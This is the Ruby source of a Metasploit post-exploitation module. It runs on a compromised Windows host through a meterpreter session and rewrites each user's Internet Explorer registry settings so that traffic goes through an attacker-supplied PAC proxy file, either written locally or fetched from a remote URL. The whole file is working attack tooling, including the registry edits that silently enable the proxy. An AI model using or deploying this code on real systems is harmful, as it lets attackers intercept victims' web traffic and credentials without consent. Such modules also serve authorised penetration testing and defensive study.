102 lines
3.0 KiB
Ruby
102 lines
3.0 KiB
Ruby
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Priv
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Post::Windows::Registry
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Proxy PAC File',
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'Description' => %q{
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This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
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option a PAC file will be created in the victim host. It's also possible to especify a
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remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
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'References' =>
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[
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[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ]
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],
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
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OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]),
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], self.class)
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end
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def run
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if not is_admin?
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print_error("You don't have enough privileges. Try getsystem.")
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return
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end
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if datastore['LOCAL_PAC'].nil? and datastore['REMOTE_PAC'].nil?
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print_error("You must set a remote or local PAC file.")
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return
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end
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if datastore['LOCAL_PAC'].nil?
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@remote = true
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print_status("Setting a remote PAC file ...")
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enable_proxy(datastore['REMOTE_PAC'])
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else
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print_status("Setting a local PAC file ...")
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pac_file = create_pac(datastore['LOCAL_PAC'])
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enable_proxy(pac_file) if pac_file
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end
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end
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def create_pac(local_pac)
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pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
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conf_pac =""
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if ::File.exists?(local_pac)
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conf_pac << ::File.open(local_pac, "rb").read
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else
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print_error("Local PAC file not found.")
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return false
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end
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if write_file(pac_file,conf_pac)
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print_good ("PAC proxy configuration file written to #{pac_file}")
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return pac_file
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else
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print_error("There were problems creating the PAC proxy file.")
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return false
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end
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end
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def enable_proxy(pac)
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registry_enumkeys('HKU').each do |k|
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next unless k.include? "S-1-5-21"
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next if k.include? "_Classes"
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key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
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value_defCon = "DefaultConnectionSettings"
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value_auto = "AutoConfigURL"
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file = (@remote) ? "#{pac}" : "file://#{pac}"
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begin
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registry_setvaldata(key,value_auto,file,"REG_SZ")
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value_con=registry_getvaldata(key + '\\' + 'Connections',value_defCon)
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binary_data=value_con.unpack('H*')[0]
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binary_data[16,2]='05'
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registry_setvaldata(key + '\\' + 'Connections',value_defCon,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
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print_good ("Proxy PAC enabled.")
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rescue::Exception => e
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print_status("There was an error setting the registry value: #{e.class} #{e}")
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end
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end
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end
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end
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